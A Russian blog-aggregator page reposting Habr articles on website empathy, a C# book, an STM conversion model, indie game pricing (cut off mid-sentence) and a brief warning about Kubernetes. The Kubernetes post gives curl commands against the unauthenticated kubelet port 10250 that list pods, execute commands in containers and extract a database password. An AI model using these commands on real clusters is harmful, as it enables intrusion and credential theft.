-Поиск по дневнику

Поиск сообщений в dunleadisc

 -Подписка по e-mail

 

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 10.12.2014
Записей:
Комментариев:
Написано: 95


[recovery mode] Эмпатия в интернет-сервисах или почему корзина «моя», а не «ваша»

Пятница, 06 Января 2017 г. 07:38 + в цитатник
Статья об эмпатии как понятии в целом и применительно к интернет-проектам. Что это, что на нее влияет и как это отражается на результатах бизнеса. Начну с конца. Что дает эмпатия? увеличивает лояльность к бренду, его запоминаемость, уменьшает требовательность к ошибкам, как следствие: меньше жалоб, возвратов и негативных отзывов, больше разовых покупателей конвертируется в постоянных, улучшается коммуникация и понимание друг друга. Что такое эмпатия? Это способность посмотреть на ситуацию или объект глазами другого человека, смоделировать у себя в голове его эмоции и поведение. Некоторые ученые пишут, что эмпатией не владеют животные и только человек способен на ее проявление. Не могу этим спорить, это сложное психологическое понятие, требующее высшего сознания. Примеры проявления эмпатии в жизни Хороший преподаватель читает лекции, стараясь давать материал так как будет понятно студентам. Сильный боксер предугадывает как будет вести себя соперник, стараясь встать мысленно на его место. Примеры в бизнесе Стив Джобс сделал много хороших продуктов, он показывал, что заботится о пользователях. Показывал, что он свой (в джинсах и майке). Покупатели Эппл это оценили, у них возникла большая эмпатия как к самому бренду, так и к его создателю. И теперь, когда новые модели Эппл имеют огрехи, адепты им это им прощают в том числе поэтому. Обратная ситуация, громкий старт нового Кинопоиска компанией Яндекс. Создатели сервиса решили гипотетически, что новые функции придутся по вкусу пользователям. Не попытались представить себя на месте постоянных посетителей. Иначе им бы не отрезали рейтинги и другие функций, которыми люди пользовались годами. Результат всем известен. Активная аудитория сайта им этого не простила и добилась отката к старой версии. Отличие от симпатии Эмпатия предполагает сопереживание сервису, то есть чувство сопричастности и отсутствие серьезной дистанции. Симпатия это просто привлекательность, она может быть к любому сайту. Возникновение эмпатии, в свою очередь, сопряжено с процессом эмоционального контакта и происходит это только в отдельных случаях. Построение сайта/приложения с учетом эмпатии Давайте рассмотрим что именно влияет на эмпатию, как можно добавить этот момент при создании или изменении сайта. 1) Хрестоматийная «моя корзина» Если мы называем корзину, личный кабинет и другие места сайта словом «моя», то мы мы переворачиваем ситуацию от противостояния «мы (сайт) — вы (его посетитель)» к взаимодействию для достижения общей цели. Кроме того, человек ощущает, что у него есть свой уголок, свое пространство, это добавляет ему комфорта и спокойствия. Поэтому я лично пропагандирую, что корзина должна быть моя! Пример: В Вайлдберрис корзина «моя», в Юлмарте «ваша». Как мы знаем, первая компания недавно обошла вторую по обороту. 2) Построение интерфейсов с учетом UX Избитая фраза, все должны делать сервисы с учетом юзабилити и пользовательского опыта. Да, все должны, но не все делают. Чем больше компания, тем сложнее эту простую идею реализовать. А ведь это как раз работа с эмпатией в полной и максимальной мере. Хорошо помогает в таком случае метод сапожник в своих сапогах. Самому пользоваться сервисом, который делаешь. И конкурирующими параллельно. 3) Персонализация Если мы уже знаем какого пола человек, его имя и другие данные, то можем к нему обращаться более персонально. 4) Региональные версии Отдельного упоминания стоит учет того из какого города человек заходит на сайт. Кроме надписи в условиях доставки, хорошо указать город рядом с номером телефона и в других местах по сайту. 5) Человекопонятный язык Человечный, близкий к обиходной речи язык сильно действует на эмоциональное восприятие сервиса. Пример — Яндекс на ошибку в браузере пишет «Ой, у нас что-то сломалось». 6) Не принимать пользователя за дурака Казалось бы, задача любого сервиса быть понятным для всех. Но в этом желании можно переусердствовать и вызвать неприятное чувство — когда с тобой общаются как с ребенком или анекдотической блондинкой. Примеры: раздел на сайте как им пользоваться со скриншотами. 7) Не злоупотреблять вниманием Под эти понимается лишнее напоминание о себе, рассылки сверх меры другие тонкие моменты, когда пользователь начинает чувствовать, что им пользуются. Примеры: Сайт ТАСС предлагает пуш-уведомления при первом (а возможно и единственном) посещении, а Техносила шлет письма с рекламой еще не доставив первую покупку (первая реакция — какого черта?). 8) Не отказываться от тех сервисов и функции, которыми люди пользуются. Даже если их меньшинство и это требует затрат на поддержку. Люди могут к ним привыкнуть, тогда они не поймут такого шага. Примеры: удаление RSS-ридера в гугл-плейе и поиска по блогам в Яндексе. 9) Давать людям что-то просто так, без выгоды. Чтобы повысить эмпатию можно сделать подарок от компании. У нас сегодня хорошее настроение и мы дарим подарок всем, кто с нами более 3 лет. Это может быть бонус на счет, открытка, перевод на более высокий тариф. Важен сам факт того, что о людях подумали и сделали это бескорыстно. Пример: В холдинге «Меломан» раздавали подарки в соцсетях. 10) Прощать пользователю огрехи и ошибки Неправильно оформили покупку? Перепутали товар? Не проблема, на этот счет у нас есть специальный раздел, где описано как поступить. Все отработано и не вызовет у вас никаких сложностей. Примеры: В Озоне оформляется отказ от заказа в личном кабинете одним кликом и без потерь. Сайт Yoox сразу в посылке дает печатную форму для возврата и полную инструкцию. Что показывает уровень эмпатии пользователей к сайту: Процент писем в рассылках, отправленных в спам; Процент пользователей с блокировкой рекламы; Процент отвечающих на опросы; Сколько человек оставляет комментарии после покупки по своей инициативе; В каком тоне и как часто поступают жалобы на сервис и сотрудников. У каждого сервиса показатели свои, но если в динамике видны серьезные изменения это повод задуматься. Постоянный взаимный процесс Когда сервис действительно заботится о своих посетителях (думает как они), это вызывает эмоциональное сближение. Те, в свою очередь, проявляют эмпатию со своей стороны — задумываются, что на той стороне экрана тоже люди. И так далее, процесс идет постоянно. Это можно сравнить с кармой, когда ее сосуд наполняется положительными эмоциями и опустошается отрицательными. Всем хорошей эмпатии! P.S. Эмпатия входит в один из пунктов оценки продуктивности сайтов, о которой я как-то на Хабре писал.

Метки:  

Книга «Microsoft Visual C#. Подробное руководство. 8-е издание»

Среда, 07 Декабря 2016 г. 01:40 + в цитатник
Привет, Хаброжители! Недавно мы перевели книгу Джона Шарпа. Для кого предназначена эта книга Предполагается, что читателем книги будет разработчик, желающий изучить основы программирования на C# с использованием среды Visual Studio 2015 и .NET Framework версии 4.6. Прочитав книгу, вы получите полное представление о языке C# и сможете воспользоваться им для создания адаптивных и широко масштабируемых приложений, способных работать под управлением операционной системы Windows 10. Кому не следует читать эту книгу Эта книга предназначена для разработчиков, ранее пользовавшихся языком C#, и не рассчитана на абсолютных новичков в вопросах программирования. Поэтому ее материал основан преимущественно на применении языка C#. Эта книга не задумывалась в качестве подробного описания множества технологий, доступных для создания приложений корпоративного уровня, работающих под управлением Windows, таких как ADO.NET, ASP.NET, Windows Communication Foundation или Windows Workflow Foundation. Структура книги Книга разбита на четыре части. ? Часть I «Введение в Microsoft Visual C# и Microsoft Visual Studio 2015» представляет собой введение в основной синтаксис языка C# и приемы работы со средой программирования Visual Studio. ?? Часть II «Основные сведения об объектной модели C#» рассматривает подробности создания новых типов в C# и управления ими, а также способы управления ресурсами, на которые ссылаются эти типы. ?? Часть III «Определение расширяемых типов в C#» включает более подробное описание элементов, предоставляемых языком C# для создания типов, пригодных для многократного использования несколькими приложениями. ?? Часть IV «Создание приложений универсальной платформы Windows с использованием C#» включает описание универсальной модели программирования Windows 10 и порядка использования C# с целью создания интерактивных приложений, предназначенных для этой новой модели. Данная книга написана с целью помочь вам приобрести навыки в ряде важных областей. Она может стать полезной как для начинающих программистов, так и для тех, кто собирается перейти на C# с других языков программирования, например C, C++, Java или Visual Basic. Многие главы книги включают практические примеры, позволяющие проверить на деле только что изученные концепции. Но на каком бы разделе вы ни сосредоточились, следует загрузить и установить на свою систему примеры приложений. Об авторе Джон Шарп является главным специалистом CM Group Ltd, компании, которая занимается разработкой программных средств и оказывает консультационные услуги. Шарп является специалистом по обоим этим направлениям. Он автор многочисленных публикаций и преподаватель с 30-летним стажем. Программировал на Паскале для операционной системы CP/M, разрабатывал приложения на C/Oracle для разнообразных версий операционной системы UNIX, разрабатывал распределенные приложения, написанные на C# и JavaScript, и, наконец, приложения под Windows 10 и Microsoft Azure. Джон — крупный специалист по созданию приложений с использованием среды Microsoft .NET Framework, а также автор книги «Windows Communication Foundation 4 Step By Step» (издательство Microsoft Press). » Более подробно с книгой можно ознакомиться на сайте издательства » Оглавление » Отрывок Для Хаброжителей скидка 25% по купону — Microsoft Visual

Метки:  

[Из песочницы] Создание продающих сайтов с помощью STM модели

Воскресенье, 11 Сентября 2016 г. 00:15 + в цитатник
Как нужно проектировать страницы сайта, чтобы он продавал? Вот некоторые критерии, которые часто применяют заказчики и проектировщики: Чобственный опыт — «получилось на прошлом сайте, получится и сейчас»; Мнения экспертов и информация из статей — «телефон обязательно должен быть в шапке», «обязательно внедрите модуль сравнения товаров»; Мнения авторитетных сотрудников — «дизайнер сказал, что в левом блоке нужно разместить новости»; Сравнение с конкурентами — «у компании N на сайте есть модуль избранного, их сайт продает, значит и нам он нужен». Если сайт направлен на продажи и не является общеизвестным брендом, то такого обоснования будет недостаточно. Каждый блок сайта, каждое изменение следует описать с точки зрения его вклада в конверсию. В качестве модели оценки этого вклада, можно использовать модель STM (Satisfaction, Trust, Motivation), которая позволяет классифицировать каждый элемент и отфильтровать, если он не несет в себе пользы для конверсии. Исходя из теории STM, каждый элемент, влияющий на конверсию, можно классифицировать по одной из трех базовых метрик: удовлетворенность клиента в информации, доверие к продавцу или мотивация к покупке. Давайте рассмотрим их подробнее: 1. Удовлетворение (satisfaction) Рациональный пользователь не станет делать покупки, пока не получит ответы на интересующие его вопросы. Когда будет доставка? С кем они ещё работали? А что будет, если мне не понравится? Можно ли купить в кредит? Есть ли такое же платье, но зеленого цвета? Чем больше ответов вы дадите на своем сайте, тем большую получите конверсию. Чем больше возражений вы сможете обработать на страницах сайта, тем больше уверенности будет у посетителя перед заказом. Не нужно думать, что пользователь обязательно позвонит, чтобы уточнить цену и срок доставки — многие просто покинут сайт, продолжив блуждание в поисковой системе. 2. Доверие (trust) Пользователь сделает целевое действие на сайте (позвонит, оставит контакты или оформит заказ в корзине), только после того как у него появится доверие к компании-продавцу. В услугах это обычно делается с помощью отдельных блоков, в которых компания рассказывает о своем опыте, достижениях, да и вообще обо всем, что с ней связано, демонстрируя свою репутацию. 3. Мотивация к действию (motivation) На мотивацию к покупке обычно работают выгодные предложения, акции, скидки и вообще все возможные поощрения. К этой же категории относятся программы лояльности в виде начисления бонусов или накопления баллов, которые можно обменять на товары в будущем. Посмотрите например лэндинги, сделанные в стиле «Магазина на диване» — они перенасыщены мотивацией к покупке — 2 подарка только при заказе в течение 10 минут, вторые часы бесплатно, скидка 90% только сегодня и прочее. В качестве примера, у нас есть два видеоролика записанных через излюбленный инструмент аналитиков — «Вебвизор» Яндекс Метрики. Дано: пользователь, который находится на стадии выбора продавца определенного товара, а именно шкафа-купе. Поисковый запрос — «шкаф купе берта бис купить». Первый сайт, на который он перешел, находится на 26-м месте в выдаче по данному запросу, второй на 31. Давайте посмотрим, как посетитель вел себя на первом сайте. Что мы можем сказать по данному поведению? На странице вроде бы имеется вся информация о модели. Возможность выбора материала. Изменение размеров. Отсутствие «лишней» информации. Первый вывод, который мы сделали — посетителя не устроил ценник, поэтому он пошел искать дальше и попал на другой отслеживаемый сайт. Здесь он находился намного больше и даже сделал заказ. Обратите внимание, что ценник на треть выше предыдущего и тем не менее это не отпугнуло посетителя. В течение первого просмотра товара пользователь уточняет информацию по доставке, сборке и оплате внутри товарной карточки и приступает к выбору материала (кнопка выбора выделена цветом). Затем он практически сразу оформляет заказ и отправляется в путешествие по сайту в поисках чего-то еще. Но больше заказов не делает. На основе этих двух записей мы можем построить теории, для подтверждения которых потребуется полноценное А/Б-тестирование. Сейчас можно только предположить, что пользователя на первом сайте не устроила подозрительная цена, на треть ниже рыночной, ему были необходимы те блоки, которые на втором сайте есть, а на первом нет… так можно рассматривать все возможные мелочи. Но учитывая, что человек пролистал выдачу до 4 страницы и у нас нашел то, чего не было раньше — повод тестировать и сравнивать сайты из выдачи. Ниже мы постарались классифицировать по STM модели привычный список факторов, которые могут повлиять на конверсию: Фактор Удовлетворенность Доверие Мотивация к действию Ассортимент — чем больше товаров на сайте, тем выше вероятность, что пользователь совершит покупку на нем. + Товар — чем больше полезной информации о товаре в карточке, тем меньше вопросов останется у посетителя и тем выше вероятность, что его приобретут. Пустые карточки товара вызывают недоверие. + + Акции — наличие акций и выгодных предложений зачастую являются неким «крючком» для пользователя. Особенно если они подбираются с учетом просмотренных разделов на сайте. + Товары со скидками + Подарки, возможность получения услуги или товара бесплатно + Рейтинг товаров, хиты продаж, сортировка по популярности — подтолкните покупателя к правильному выбору, выгодному Вам + Описание услуг — текст должен максимально полно отвечать на все вопросы пользователя (даже на те, которые он мог бы задать через полгода после покупки), отвечать на максимум возражений, иметь «человеческий» характер, а не сборник ключевых фраз, разбавленных предлогами. + + Подробные контакты – чем больше различных способов связи, тем больше возможная конверсия. Чем больше информации об офисах компании и сотрудниках, тем больше доверия. + + Форма обратной связи/заказ звонка/онлайн-консультант — в любой момент посещения у пользователя могут возникнуть вопросы, ответ на которые он захочет получить как можно быстрее. + + Скорость загрузки — чем быстрее загружаются отдельные страницы, тем меньше раздражения это вызывает у посетителей. + Понятная структура (навигация) — не надо запутывать посетителей, навигация должна быть простой и интуитивно понятной. + Список просмотренных товаров — когда на сайте большое количество позиций, то пользователю, перемещаясь по категориям, может быть трудно вернуться к тому товару, где ему что-то понравилось. Возможность сохранять товары в списки (например, «мои желания») повышает фактор удовлетворенности. + Возможность сравнения продуктов — когда на сайте представлен большой ассортимент, пользователь может долго решать, выбирая между некоторым количеством продуктов. Имея возможность сравнения их на одной странице он может быстрее принять решение, тем самым удовлетворив свою потребность. + “Корзина» – возможность заказать несколько товаров из привычной формы корзины давно стало стандартом интернет-магазинов. + + Привлекательность — приятное графическое оформление, соответствующее идеи бренда, вызывает у пользователя доверие и желание изучить сайт более глубоко. + + Конфиденциальность — пользователи всегда будут беспокоиться о своих персональных данных. Если на сайте ничего не сказано об их дальнейшем использовании, то доверия к такому сайту у посетителя будет мало. + + Защищенность — с годами пользователи становятся все более осведомленными. Сейчас многие, видя протокол https, вместо http, доверяют посещаемому ресурсу больше. Свой вклад вносят поисковые системы, отмечающие сайты с вредоносным содержимым, плагины антивирусных систем, проверяющие сайты и сервисы крауд-оценки наподобие WOT. + Отзывы покупателей, социальные доказательства — если на сайте есть отзывы клиентов, то это говорит посетителю о том, что какие-то люди уже воспользовались услугами данной компании и остались вполне довольны (если отзывы позитивные конечно). + + Сертификаты/грамоты/награды — наличие на сайте информации о заслугах компании влечет за собой повышение уровня доверия. + Информация о гарантии + + Информация о правилах возврата товара + + Информация о вариантах и сроках доставки, наличии + + Наличие подробных фильтров в разделах каталога — при большом ассортименте нужно больше фильтров. Не нужно заставлять пользователя блуждать по десяткам страниц категории, берите пример с Яндекс Маркета. + Способы оплаты — чем больше способов оплаты тем больше пользователей вы сможете охватить. + + Портфолио — не обязательно иметь огромный хвалебный список работ. Достаточно 3-5 примеров крупных кампаний для того, чтобы вызвать пользовательское доверие. + + Новости — блок новостей, со свежими записями, говорит о том, что сайт актуален и продолжает работать. Однако, если последняя новость датируется трехмесячной давностью, то скорее всего часть посетителей будет уходить. + Присутствие в социальных сетях — придает доверия к компании и служит ещё одним каналом взаимодействия с аудиторией. + + Экспертные мнения — наличие оценок от профессионалов или лидеров мнений — вызывает у пользователей доверительное отношение к товаре или услуге. + Информация о компетенции компании – публикации, выступления, выпущенные книги, дающие понимание экспертности сотрудников компании + Призывы к действию — с помощью кнопок и заголовков можно мягко подтолкнуть посетителя к желаемому действию. + В качестве примера, рассмотрим страницу товара сайта флипкарт.ком. В одной из статей на хабре автор рассматривал проектирование продающего дизайна с применением модели AIDA, мы же доработали скриншот с разбивкой по STM модели: Например, качественные фотографии привлекают внимание и в то же время удовлетворяют потребность пользователя в визуальной оценке товара, кнопка действия является последним этапом в AIDA, а в STM привязывается к мотивации и т.д. Как можно применять STM-модель? При проектировании сайтов, можно использовать её в качестве сита если введенный блок на сайте нельзя отнести ни к одной из характеристик STM, скорее всего он будет бесполезен. Например, в прототипе сайта, можно подписывать буквы S,T,M к каждому спроектированному блоку. Следует оговориться, что тут могут быть исключения, связанные с эмоциональным и психологическим воздействием на посетителя и некоторые другие. Другой способ её применения — классификация бизнесов по степени влияния каждой характеристики STM. К примеру для продавцов спецтехники доверие не является значимой характеристикой, а для продавцов франшиз, она одна из ключевых. При обсуждении внесения изменений в сайт заказчиком или планировании этих изменений в студии Если задав себе вопрос: повлияет ли эта правка на удовлетворенность пользователя, его доверие к нам или мотивацию к покупке? — не получается дать определенного ответа, её вносить не следует. Это относится к игре со шрифтами, цветами, «сделать красным жирным телефоном в шапке» и прочему. Только конверсия и максимальная эффективность. При планировании сплит-тестов. Возможно, добавление еще одного блока мотивации будет продуктивней теста цвета кнопки «Купить»? При разработке инструкций асессоров Сейчас поисковые системы ставят перед собой задачу — выдавать пользователям первыми сайты, на которых они смогут с большой долей вероятности сделать заказ. «Яндекс» внедрил коммерческие факторы ранжирования, «Google» по-своему учитывает доверие и удовлетворенность пользователей, при построении Топа. Каждую характеристику, относящуюся к STM модели можно оценивать по 5-ти бальной шкале и обучать на таких оценках машинные алгоритмы ранжирования. Данная модель уже давно прижилась в нашей компании и среди некоторых студий-партнеров. Любая правка проходящая через сито, подвергается тестированию после чего вносится/не вносится на сайт. Таким образом мы повышаем собственную продуктивность. Мы надеемся, что данная модель пригодится многим специалистам и поможет упростить работу над повышением эффективности сайтов.
Как изменились карьерные лестницы и лифты в IT-индустрии за прошедшую неделю

Метки:  

Предостережение для пользователей Kubernetes

Воскресенье, 28 Августа 2016 г. 02:22 + в цитатник
Сервис kubelet, с которым тесно общается apiserver, слушает порт 10250. Этот порт хоть и использует сертификаты, но лишь для шифрования канала, никакой авторизации на нём нет. Об этой проблеме известно давно, но почему-то никто не считает её серьезной. Ссылки на обсуждения: https://github.com/kubernetes/kubernetes/issues/3168 https://github.com/kubernetes/kubernetes/issues/7965 https://github.com/kubernetes/kubernetes/issues/11816 Что с этим можно сделать? Практически всё. Без регистрации и sms. Получить список всех pod'ов: $ curl -sk https://k8s-node-1:10250/runningpods/ | python -mjson.tool Выполнить команду внутри контейнера? Запросто: $ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d > Получить пароль на базу данных? Проще простого: $ curl -k -XPOST "https://k8s-node-1:10250/run/default/mysql-epg0f/mysql" -d Вытащить из неё данные тоже не составит труда.

Метки:  

[Перевод] О ценообразовании для инди-игр

Воскресенье, 07 Августа 2016 г. 12:28 + в цитатник
(Примечание переводчика: статья была написана в феврале 2015 года, но, как мне кажется, не утратила актуальности.) На этой неделе мы объявили дату выпуска и стоимость Axiom Verge. Я работал над этой игрой вместе с Томом около шести месяцев, и если уж я настолько рад выпуску игры, то могу только догадываться, насколько в восторге Том, работавший над ней в одиночку пять лет! Большинство отзывов были положительными, но у пары людей вызвали вопросы выбор цены $19,99. На самом деле я пишу этот пост в блог не затем, чтобы оправдать стоимость. Скорее я сосредоточусь на размышлениях о процессе выбора цены, потому что многие разработчики на протяжении многих лет спрашивали у меня совета о том, как подходить к ценообразованию для их игр. Как должно работать ценообразование… теоретически Простейший экономический подход к ценообразованию довольно прямолинеен. Где-то в мире существует группа потенциальных покупателей. Каждый из них делает независимую оценку того, насколько ценна для него ваша игра. Если у вас есть полная информация о максимальном для каждого покупателя уровне цены, вы можете выбрать стоимость, максимизирующую вашу прибыль (цена x количество проданных единиц; чем выше цена, тем ниже будет количество, и наоборот), а следовательно, и доход. В случае видеоигр, распространяемых в цифровом виде, после завершения создания игры максимизация прибыли и дохода — это одно и то же, потому что все затраты погашаются или фиксированы. Не существует растущих затрат на производство дополнительных копий игры и влияющих на принятие вами решения. Любой покупатель, чья максимальная возможная цена выше установленной вами, заключает для себя выгодную сделку. Для того, чья максимальная цена равна вашей цене, она не влияет покупку или отказ от неё. Некоторые разработчики и паблишеры пытаются сделать так, чтобы никто из покупателей не заключил слишком выгодную сделку. Тем, чья готовность платить очень высока, они предлагают приобрести сезонный доступ, DLC или другие высокоприбыльные товары, чтобы получить эту дополнительную прибыль. Лично я считаю, что такие вещи сложно делать со вкусом, но похоже, что UbiSoft, EA и Zynga не испытывают с этим проблем. UbiSoft: «Люди получают слишком много удовольствия, за которое не заплатили. Этого нельзя допускать!» Учтите, что в этой теоретической модели один из аспектов, на которых не должно основываться ценообразование — это бюджет разработки. Я часто слышу аргумент, что AAA-игры должны иметь более высокую стоимость, чем инди-игры, потому что они более дороги в производстве. Немного подумав, можно понять, что по многим причинам это не имеет смысла. Во-первых, если цена на игру слишком высока, это приведёт к тому, что вы заработаете меньше денег, потому что количество покупателей упадёт, вне зависимости от затрат на разработку. Многие люди думают, что чем выше цена, тем больше денег, поэтому разработчики, выставляющие высокий ценник, жадны. Во-вторых, почему игрока должно волновать, сколько людей работало над игрой? Если бы у меня была волшебная палочка и я мог создавать игры такого уровня и качества как Skyrim или GTA: V мгновенно и совершенно без усилий, значило ли бы это, что впечатления от игры стали бы менее ценными? Если я потратил 20 миллионов долларов на создание приложения «Пукающая подушка», значит ли это, что за неё стоит платить больше? Нет, конечно же нет. Несоответствие теории практике Экономика позволяет нам совершать точные открытия в широком спектре бизнес-решений, потому что она не вдаётся глубоко в детали. Однако, когда дело доходит до реального мира, следует учитывать и другие факторы. И, кстати, виновата в этом не только экономика как дисциплина. Вот подходящий к случаю комикс XKCD (тут на английском): Проблема 1: игры — это воспринимаемый товар Одна из огромнейших проблем в том, что игры относятся к категории, называемой «воспринимаемый товар»; это означает, что покупатели не могут определить их ценность, пока не попробуют их. Книги и фильмы относятся к той же категории. Потребители пытаются сгладить эту проблему, полагаясь на обзоры экспертов, рекомендации друзей, демо-версии, рейтинги пользователей, но всё это несовершенные решения. Разработчики и паблишеры, полагающие, что максимальная готовность платить иррационально высока (это означает, что они знают: игроки ожидают получить от игры больше удовольствия, чем получат на самом деле), стремятся хранить эту информацию в тайне как можно дольше. Именно поэтому паблишеры запрещают публиковать обзоры своих игр до их выпуска или предзаказов. Обратное тоже справедливо — учитывая, что стандартной практикой является релиз игры сразу после прохождения сертификации, мы вместе с Sony стараемся, чтобы авторы обзоров получили игру почти за месяц до её выхода. Проблема 2: собственная выгода и выгода группы — проблема ценового стимулирования Представьте, что вы находитесь на футбольном матче. Происходит что-то важное, поэтому вы встаёте, чтобы лучше видеть. Это максимизирует вашу собственную выгоду. Теперь зритель за вами имеет выбор: остаться сидеть и ничего не увидеть, или встать, чтобы видеть лучше. Если он выберет максимизацию собственной выгоды, он решит встать. И так далее. В конце концов все будут стоять, но никто не будет видеть больше того, что они видели раньше. Все просто испытывают неудобства. То же происходит и с ценовым стимулированием (т.е. со скидками). Когда продажи падают, рационально снизить цену на товар. Каждый разработчик, сделавший скидку, получает с помощью неё кучу денег (на самом деле бОльшую часть дохода). В 2011 году Гейб Ньюэлл сказал знаменитые слова: когда они снизили цену на 75%, их доходы поднялись на 40%! Но когда все делают скидки, начинается неизбежное падение до нуля. Игроки приучаются не платить полную цену. За мной тоже водится этот грешок. Благодаря бандлам и скидкам в моём аккаунте Steam уже больше 200 игр, во многие из которых я даже не играл. (А о многих я даже не помню, что они у меня есть. Однажды я увидел на PAX игру, которая мне очень понравилась. Дома я решил купить её, и обнаружил, что она у меня уже есть.) В PS Plus я уже собрал кучу игр для PS4 и Vita, в которые даже не собираюсь играть. В App Store покупатели мучаются сомнениями, стоит ли тратить 99 центов на игру. Полный комикс (а тут на русском) Кто-то может возразить, что эти игры принесли доход от моей покупки, которого бы в противном случае не было, и это справедливое замечание. Но какой ценой? Если каждый будет считать скидки обыденным делом, появится ли больше покупателей, готовых платить настоящую цену, которая позволит разработчикам жить и развивать устойчивый бизнес? Между прочим, обратное тоже верно. Ожидая скидок, игроки стремятся к своей краткосрочной собственной выгоде. Они могут получить халяву благодаря покупателям, заплатившим полную цену (или благодаря разработчикам, которым не хватает на еду) и получить те же игры, но за малую долю цены. К сожалению, это плохо влияет на игроков как на группу. Если игроки стремятся к покупкам только с огромной скидкой, они неизбежно столкнутся с падением качества. Чтобы увидеть пример, просто посмотрите на App Store. Есть ещё один весомый аргумент (кроме кратковременной собственной выгоды) для покупки игр во время распродаж, сразу возникающий в голове. Поскольку игры являются воспринимаемым товаром, и никто не может оценить их ценность, пока не попробует их, разумно платить заранее как можно меньше. Думаю, все мы покупали игры, которые, как мы надеялись, были отличными и которые забрасывали, поиграв всего 5 минут. Пока не существует качественного механизма, позволяющего отрегулировать цену после прохождения игры, единственным решением будет дождаться скидок. Я думал над способами улучшить это положение. Возможно, добавить виртуальную банку для чаевых после прохождения игры? Может быть, предлагать больше дополнительных товаров? Или пойти другим путём — установить полную цену, но дать покупателям возможность вернуть свои деньги, если они играли в игру не больше определённого периода времени. (Что-то вроде демо-версии, за которую вы платите заранее). (примечание переводчика: как известно, Steam ввёл похожую систему 2 июня 2015 года.) Ни одно из этих решений не совершенно, но разработчикам, торговым площадкам и игрокам следует уделить этому вопросу серьёзное внимание, если все мы не хотим утонуть в океане отбросов. Одним из выходов в ситуации, когда выгодное для индивида и выгодное для группы различается, является общий тайный сговор и выбор цен на товары каждого из его участников. К счастью или к несчастью, нет (законных) способов совершить такой сговор. Я могу только просить разработчиков справедливо определять ценность их игр и изо всех сил придерживаться её, устанавливая разумные цены. Игроки же должны сделать усилие и решить, насколько эти игры ценны для них; не какой будет их цена, а чего они стоят. Проблема 3: множество заменителей Экономическая теория описывает две модели формирования цен. Первая, описанная мной выше, подходит для ситуаций, в которых у продуктов на самом деле нет очевидной замены. Если покупатели хотят иметь ваш продукт, они заплатят цену, которую вы установили. Другая модель применяется для товаров широкого потребления. Фермер, выращивающий зерно, не может прийти на рынок и убедить покупателей, что его зерно лучше, чем у всех других продавцов. Он не может устанавливать цену на своё зерно. Он просто приходит на рынок и смотрит на текущую цену. Поэтому устанавливая цену на свою игру, подумайте, уникальна ли она, или является ширпотребом. Продаёте ли вы товар, который больше ни у кого не найти? Или это игра, подобная миллиону других уже выпущенных? Если последнее, у вас нет другого выбора, кроме как установить текущую цену. Если первое, то ваша задача — убедить людей в важности вашей игры. Если покупатели думают, что цена Axiom Verge слишком велика, они могут просто купить другие игры. Но эти игры не будут такими как Axiom Verge. (Я не буду сейчас касаться темы пиратства, она достойна отдельного поста.) Проблема 4: игроки уже приучены ожидать скидок Каждый раз, читая о выпуске новой игры, я обязательно нахожу чей-нибудь комментарий о том, что он подождёт два месяца до скидки в 50%. В случае PlayStation пользователи теперь обычно пишут, что подождут, когда игра станет доступной бесплатно в PS Plus. Покупатели, платящие полную цену, выглядят неудачниками. Я уже говорил добрые и не очень добрые слова о моём предыдущем работодателе, Nintendo. Но вот что мне кажется очень правильной стратегией в течение многих лет — они посылали миру чёткий сигнал, что не следует ждать снижения цен. Если вы хотите поиграть в Super Mario 3D World на Wii U, вы знаете, что она будет стоить $59,99 (Тему рынка «бывших в употреблении» игр я тоже не буду затрагивать, для неё нужен отдельный пост.) Не важно, что игре уже полтора года; компании Nintendo удалось создать игру, для которой нет подходящей замены, и она посылает чёткий сигнал, что будет настаивать на той цене, которой заслуживает игра. «Порше: её ничем не заменишь.» Кадр из фильма Risky Business (1983 год) Да, я настолько старый. В чём же решение? Первый шаг к реальному решению проблемы совершается гораздо раньше размышлений о цене. Он заключается в создании игры, в которую нельзя не сыграть (must-play game). Разумеется, к этому стремятся все разработчики, и это гораздо проще сказать, чем сделать. Но предположим, вам это удалось. Каким же будет следующий шаг? Без этой картинки не обойтись. Бизнес-план кальсонных гномов: «1. Похищение кальсон 2. ??? 3. Прибыль!» Шаг второй заключается в том, чтобы познакомить игроков с вашей игрой и убедить в её уникальности. Это тоже непростая задача, о решении которой написаны целые книги. Некоторые из них предлагают объяснить своё видение миру и заставить его смотреть на игру вашими глазами. Другие советуют поделиться игрой как можно с большим количеством людей, чтобы они могли оценить её сами и рассказать о ней своим друзьям. Третьи рекомендуют оставить пространство для воображения игроков, чтобы они не чувствовали себя полностью познавшими игру. Но допустим, что у вас и это получилось. Что же дальше? Последний шаг состоит из двух частей. Во-первых, нужно установить цену, которой действительно стоит игра. Если ваша игра лучше (для тех, кто, как вы думаете, будет заинтересован в покупке вашей игры!), чем Titanfall, The Order: 1886 или Destiny, и вы убедите людей в этом, то пусть их цены будут вашей планкой. Не обязательно ограничиваться тем, что делают другие инди. (Ещё одно отступление: обсуждать это можно бесконечно, но термин «инди» потерял бОльшую часть своего значения. Оно может значить всё, что угодно — от обучающихся программированию как хобби до таких разработчиков, как Double Fine. Так зачем пытаться вписаться в такие широкие рамки игр?) Вторая часть немного контринтуитивна. Дайте людям знать о своих планах относительно скидок на игру. Я не буду заходить так далеко, чтобы рекомендовать совсем не делать скидок. Ценовое стимулирование помогает возобновить интерес к игре и заставить пользователей снова заговорить о ней. На втором шаге могут остаться люди, которые только частично признали, что игра настолько хороша, насколько все утверждают, и снижение цены может придать достаточно мотивации, чтобы они попробовали её. Как я сказал, нужно довольно умеренно использовать этот способ, чтобы игроки не чувствовали, что им просто следует дождаться скидки. И если вы сообщите им, когда будет следующая скидка, они смогут принять на основе этой информации осознанное решение, стоит ли скидка времени ожидания. Посмотрим на примере: как Axiom Verge использовала все эти шаги Шаг 1 — качество/позиционирование. Конечно, я могу быть пристрастным, но мне кажется, что Том Хэп был способен сделать из Axiom Verge что-то уникальное. Этот тот тип игры, для которой не существует подлинной замены. Но об этом конечно же не мне судить. Как я упомянул ранее, мы будем всячески стремиться к тому, чтобы как можно больше авторов обзоров, желающих получить копию игры, получили её намного раньше официального выпуска. Если у нас закончатся коды для PS4, мы предоставим их для PC-версии. Мы попросим их придержать свои обзоры и не публиковать их раньше чем за неделю до выпуска, не для того, чтобы скрыть результаты этих обзоров, а для того, чтобы у всех авторов было достаточно времени на полное прохождение и написание подробных обзоров. (Я не совсем наивен. Конечно же, некоторые из них поиграть всего 5 минут и 